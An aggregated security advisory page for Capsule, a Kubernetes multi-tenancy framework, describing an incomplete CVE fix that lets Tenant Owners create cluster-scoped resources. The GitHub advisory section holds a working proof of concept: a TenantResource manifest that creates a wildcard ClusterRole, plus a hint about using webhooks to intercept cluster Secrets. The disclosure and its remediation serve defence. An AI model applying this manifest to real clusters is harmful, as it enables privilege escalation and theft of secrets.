Capsule: Incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)

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Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedItems, allowing a Tenant Owner to create cluster-scoped resources such as ClusterRole or ValidatingWebhookConfiguration through the cluster-admin controller client. This issue is fixed in version 0.13.8.

Source published

30 Jul 2026 19:53:52 UTC

Source modified

31 Jul 2026 19:17:25 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 6.6 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

Capsule is a multi-tenancy and policy-based framework for Kubernetes. From 0.13.0 until 0.13.8, after the incomplete CVE-2026-22872 fix, TenantResource RawItems and Generators in internal/controllers/resources/collect.go, including handleRawItem and handleGeneratorItem, did not apply the ResourceReference.LoadResources and IsNamespacedGVK cluster-scoped resource rejection guard used by NamespacedItems, allowing a Tenant Owner to create cluster-scoped resources such as ClusterRole or ValidatingWebhookConfiguration through the cluster-admin controller client. This issue is fixed in version 0.13.8.

Source published

30 Jul 2026 20:18:13 UTC

Source modified

23 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 15:18:45 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.6 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

### Summary CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources (e.g. `ClusterRole`, `ValidatingWebhookConfiguration`) through a `TenantResource`, because the controller applies them with its cluster-admin ServiceAccount and `SetNamespace` is ineffective for cluster-scoped kinds. The v0.13.0 fix added a cluster-scope rejection guard, but **only on the NamespacedItems selection path** (`ResourceReference.LoadResources` -> `IsNamespacedGVK`, error `"cluster-scoped kind ... is not allowed"`). The **RawItems create path — the exact vector the original advisory named — and the Generators path were not given this guard.** The vulnerability therefore persists in all releases **v0.13.0 through v0.13.7** and on trunk HEAD (`8d89d6865d`). ### Details TenantResource reconcile flow: - `internal/controllers/resources/namespaced.go` `reconcile()` obtains the apply client via `loadClient()`; by default (impersonation off, no `Spec.ServiceAccount`) this is the manager client whose SA is bound to cluster-admin (`charts/capsule/templates/rbac.yaml:488-501`, `{fullname}-manager-rolebinding` -> roleRef cluster-admin). - `Collector.Collect()` (`collect.go`) processes `spec.RawItems` via `handleRawItem` and `spec.Generators` via `handleGeneratorItem`. `handleRawItem` (`collect.go:406-425`, trunk HEAD — byte-identical to v0.13.0): ```go tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext) obj := &unstructured.Unstructured{} unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj) if ns != nil { obj.SetNamespace(ns.Name) } // ONLY mitigation return obj, nil // NO IsNamespacedGVK / allowClusterScoped guard ``` `handleGeneratorItem` (`collect.go:382-404`) is the same: it only `SetNamespace`s on rendered objects. The accumulated objects flow to `pkg/api/processor/processor_func.go` `Reconcile()` -> `Apply()` -> `clt.PatchApply(ctx, c, obj, ...)` (line 167/378) with **no scope check at any point**. By contrast, `CollectNamespacedItems` (`collect.go:308`) calls `item.LoadResources(..., allowClusterScoped=false)`, and `pkg/template/reference.go:105-107` enforces: ```go if !allowClusterScoped && !isNamespaced { return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...) } ``` So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE described (RawItems create path). For cluster-scoped kinds, `SetNamespace` is ignored by the Kubernetes API server, so the object is created cluster-wide by the cluster-admin client. **Parent-fix diff confirmation:** in v0.12.4 the RawItems handler in `processor.go` was the vulnerable code (`obj.SetNamespace(ns.Name)` then `createOrUpdate` via `r.client`). v0.13.0 refactored this into `collect.go` `handleRawItem` but left it without the new guard. ### Proof of Concept A self-contained in-process Go test (`incompletefix_poc_test.go`), run against trunk HEAD with go1.26.4, proves the asymmetry: - `TestRawItemPath_NoClusterScopeGuard`: feeds a `ClusterRole` rawItem to `handleRawItem` -> object returned unchanged, no rejection (PASS). - `TestNamespacedItemsPath_HasClusterScopeGuard`: feeds the same `ClusterRole` kind to `LoadResources(allowClusterScoped=false)` -> rejected with `"cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed"` (PASS). ``` VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole; metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds) GUARDED: NamespacedItems path correctly rejected cluster-scoped kind: cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed ``` End-to-end (cluster) reproduction: 1. Deploy capsule (default Helm) with `rbac.resources.create=true` (the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to). 2. As a Tenant Owner, create in a tenant namespace: ```yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: {name: pwn, namespace: <tenant-ns>} spec: resources: - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}} rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: {name: tenant-escalation} rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}] ``` 3. Observe the cluster-scoped ClusterRole `tenant-escalation` is created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap in `ValidatingWebhookConfiguration` to intercept/exfiltrate cluster-wide Secrets. ### Impact A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector. ### Remediation Apply the same `IsNamespacedGVK` / `allowClusterScoped` rejection inside `handleRawItem` and `handleGeneratorItem` — or centrally in `Collector.AddToAccumulation` / `processor.Apply` — so the create path enforces the same cluster-scope policy as the selection path. (`GlobalTenantResource` shares the path but is not a privesc — cluster-admin-only to create.)

Source published

31 Jul 2026 16:53:42 UTC

Source modified

18 Aug 2026 15:10:37 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L

Publisher rating · MODERATE

Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation) in github.com/projectcapsule/capsule

Source published

18 Aug 2026 14:32:29 UTC

Source modified

18 Aug 2026 15:00:18 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.